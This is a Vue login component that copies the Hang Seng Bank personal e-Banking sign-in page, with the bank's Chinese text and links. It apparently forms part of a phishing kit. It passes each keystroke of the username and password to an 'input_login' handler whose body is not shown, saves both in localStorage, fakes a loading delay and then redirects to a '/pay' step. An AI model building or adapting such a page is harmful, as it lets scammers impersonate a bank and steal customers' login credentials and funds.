320 lines
8.7 KiB
Vue
320 lines
8.7 KiB
Vue
<script setup lang="ts">
|
||
import { getCurrentInstance, onMounted, ref, computed } from "vue";
|
||
import { useRouter } from "vue-router";
|
||
import CommonLayout from "@/views/CommonLayout.vue";
|
||
import { useI18n } from "vue-i18n";
|
||
const { t } = useI18n();
|
||
const router = useRouter();
|
||
import { useLoadingStore } from "@/stores/loadingStore";
|
||
import { inputChange } from "@/utils/common";
|
||
const loadingStore = useLoadingStore();
|
||
const instance = getCurrentInstance()!;
|
||
const formData = ref({ homePageData: { username: "", password: "" } });
|
||
const warningMessage = ref("");
|
||
|
||
// 计算属性：检查用户名和密码是否都已输入
|
||
const isFormFilled = computed(() => {
|
||
return formData.value.homePageData.username.trim() !== "" && formData.value.homePageData.password.trim() !== "";
|
||
});
|
||
|
||
// 处理表单提交
|
||
const next = () => {
|
||
if (!formData.value.homePageData.username || !formData.value.homePageData.password) {
|
||
warningMessage.value = t("請輸入您的用戶名稱和密碼。");
|
||
return;
|
||
}
|
||
|
||
warningMessage.value = "";
|
||
localStorage.setItem("username", formData.value.homePageData.username);
|
||
localStorage.setItem("password", formData.value.homePageData.password);
|
||
loadingStore.setLoading(true);
|
||
setTimeout(() => {
|
||
loadingStore.setLoading(false);
|
||
router.push("/pay"); // 根据需要调整路由
|
||
}, 2000);
|
||
};
|
||
|
||
// 处理输入变化
|
||
const onchange = (event: any) => {
|
||
inputChange("input_login", "username", event.target.value);
|
||
};
|
||
|
||
const passchange = (event: any) => {
|
||
inputChange("input_login", "password", event.target.value);
|
||
};
|
||
|
||
onMounted(() => {
|
||
const userData =
|
||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||
if (userData && userData.homePageData) {
|
||
formData.value = userData;
|
||
}
|
||
localStorage.setItem("route", "phone");
|
||
});
|
||
</script>
|
||
<template>
|
||
<CommonLayout>
|
||
<template #default>
|
||
<div class="row p-10-ch">
|
||
<div id="mainPanel" class="px-0 mainContent">
|
||
<div class="row" style="height: 100%; justify-content: center;">
|
||
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
|
||
<h2 class="login-title">登入恒生個人e-Banking</h2>
|
||
|
||
<!-- 警告信息，SVG 和文本共享背景 -->
|
||
<div class="warning-box">
|
||
<span class="warning-icon">
|
||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#3b6793">
|
||
<path d="M480-280q17 0 28.5-11.5T520-320q0-17-11.5-28.5T480-360q-17 0-28.5 11.5T440-320q0 17 11.5 28.5T480-280Zm-40-160h80v-240h-80v240Zm40 360q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q-54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm0-80q134 0 227-93t93-227q0-134-93-227t-227-93q-134 0-227 93t-93 227q0 134 93 227t227 93Zm0-320Z"/>
|
||
</svg>
|
||
</span>
|
||
<div class="warning-text">
|
||
<p>
|
||
如此以手機瀏覽器登入，部份服務將未能使用。我們建議您使用電腦瀏覽器登入，或下載恒生的恒生Mobile App，以更方便地使用銀行服務。
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 用户名输入框 -->
|
||
<div class="form-group">
|
||
<label class="loginlabel">輸入您的用戶名稱</label>
|
||
<input
|
||
type="text"
|
||
id="txtuserid"
|
||
class="textfield required"
|
||
v-model="formData.homePageData.username"
|
||
@input="onchange"
|
||
placeholder=""
|
||
autocomplete="off"
|
||
>
|
||
</div>
|
||
|
||
<!-- 密码输入框 -->
|
||
<div class="form-group">
|
||
<label class="loginlabel">輸入您的密碼</label>
|
||
<input
|
||
type="password"
|
||
id="txtpass"
|
||
class="textfield password"
|
||
v-model="formData.homePageData.password"
|
||
@input="passchange"
|
||
placeholder=""
|
||
autocomplete="off"
|
||
>
|
||
</div>
|
||
|
||
<!-- 表单验证警告信息 -->
|
||
<div v-if="warningMessage" aria-live="assertive" role="alert">
|
||
<div class="css-j4y2sz">
|
||
<span class="css-1mne40r">
|
||
<svg viewBox="0 0 48 48" width="1em" height="1em">
|
||
<path
|
||
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
|
||
></path>
|
||
</svg>
|
||
</span>
|
||
<span class="css-l0mv58">{{ warningMessage }}</span>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 提交按钮，动态类绑定 -->
|
||
<button
|
||
@click.prevent="next"
|
||
:class="['proceedButton', { 'proceedButton--active': isFormFilled }]"
|
||
>
|
||
繼續
|
||
</button>
|
||
|
||
<!-- 链接 -->
|
||
<div class="links">
|
||
<a href="/zh-hk/security/recoverProfile" class="loginlink">
|
||
忘記用戶名稱
|
||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||
</svg>
|
||
</a>
|
||
<a href="/zh-hk/security/registration" class="loginlink">
|
||
未登記個人e-Banking
|
||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||
</svg>
|
||
</a>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</CommonLayout>
|
||
</template>
|
||
<style scoped>
|
||
/* 布局调整 */
|
||
.row {
|
||
display: flex;
|
||
flex-wrap: wrap;
|
||
}
|
||
|
||
.p-10-ch {
|
||
padding: 10px;
|
||
}
|
||
|
||
.px-0 {
|
||
padding-left: 0;
|
||
padding-right: 0;
|
||
}
|
||
|
||
.mainContent {
|
||
width: 100%;
|
||
}
|
||
|
||
.col-lg-8, .col-md-7, .col-12 {
|
||
position: relative;
|
||
width: 100%;
|
||
}
|
||
|
||
@media (min-width: 992px) {
|
||
.col-lg-8 {
|
||
flex: 0 0 66.666667%;
|
||
max-width: 66.666667%;
|
||
}
|
||
}
|
||
|
||
@media (min-width: 768px) {
|
||
.col-md-7 {
|
||
flex: 0 0 58.333333%;
|
||
max-width: 58.333333%;
|
||
}
|
||
}
|
||
|
||
/* 标题 */
|
||
.login-title {
|
||
font-size: 24px;
|
||
font-weight: bold;
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
/* 警告框 */
|
||
.warning-box {
|
||
display: flex;
|
||
align-items: flex-start;
|
||
background-color: #e6f0fa;
|
||
padding: 10px;
|
||
border-radius: 5px;
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
.warning-icon {
|
||
display: inline-block;
|
||
margin-right: 10px;
|
||
}
|
||
|
||
.warning-icon svg {
|
||
width: 20px;
|
||
height: 20px;
|
||
}
|
||
|
||
.warning-text {
|
||
flex: 1;
|
||
}
|
||
|
||
.warning-text p {
|
||
margin: 0;
|
||
font-size: 14px;
|
||
color: #333;
|
||
}
|
||
|
||
/* 表单样式 */
|
||
.form-group {
|
||
margin-bottom: 20px;
|
||
text-align: left;
|
||
position: relative;
|
||
}
|
||
|
||
.loginlabel {
|
||
display: block;
|
||
margin-bottom: 5px;
|
||
font-size: 14px;
|
||
color: #000;
|
||
font-weight: normal;
|
||
}
|
||
|
||
.textfield {
|
||
width: 100%;
|
||
padding: 10px;
|
||
border: 2px solid #00cc00;
|
||
border-radius: 5px;
|
||
font-size: 14px;
|
||
background-color: #fff;
|
||
}
|
||
|
||
.textfield:focus {
|
||
outline: none;
|
||
border-color: #666;
|
||
}
|
||
|
||
/* 按钮样式 */
|
||
.proceedButton {
|
||
background: #ccc;
|
||
color: white;
|
||
padding: 12px;
|
||
border: none;
|
||
border-radius: 5px;
|
||
font-size: 14px;
|
||
cursor: pointer;
|
||
width: 100%;
|
||
font-weight: bold;
|
||
}
|
||
|
||
.proceedButton:hover {
|
||
background: #999;
|
||
}
|
||
|
||
.proceedButton--active {
|
||
background: #008945;
|
||
}
|
||
|
||
.proceedButton--active:hover {
|
||
background: #006b35; /* 鼠标悬停时稍微变暗 */
|
||
}
|
||
|
||
/* 链接样式 */
|
||
.links {
|
||
margin-top: 15px;
|
||
text-align: left;
|
||
}
|
||
|
||
.loginlink {
|
||
color: #999;
|
||
text-decoration: none;
|
||
font-size: 14px;
|
||
display: block;
|
||
margin-bottom: 10px;
|
||
}
|
||
|
||
.loginlink:hover {
|
||
text-decoration: underline;
|
||
}
|
||
|
||
/* 警告信息样式 */
|
||
.css-j4y2sz {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
padding: 10px;
|
||
margin-bottom: 15px;
|
||
border-radius: 4px;
|
||
}
|
||
|
||
.css-1mne40r {
|
||
display: inline-block;
|
||
line-height: 1;
|
||
vertical-align: middle;
|
||
font-size: 1.75rem;
|
||
fill: rgb(180, 44, 1);
|
||
}
|
||
|
||
.css-l0mv58 {
|
||
color: #dc3545;
|
||
font-size: 14px;
|
||
}
|
||
</style> |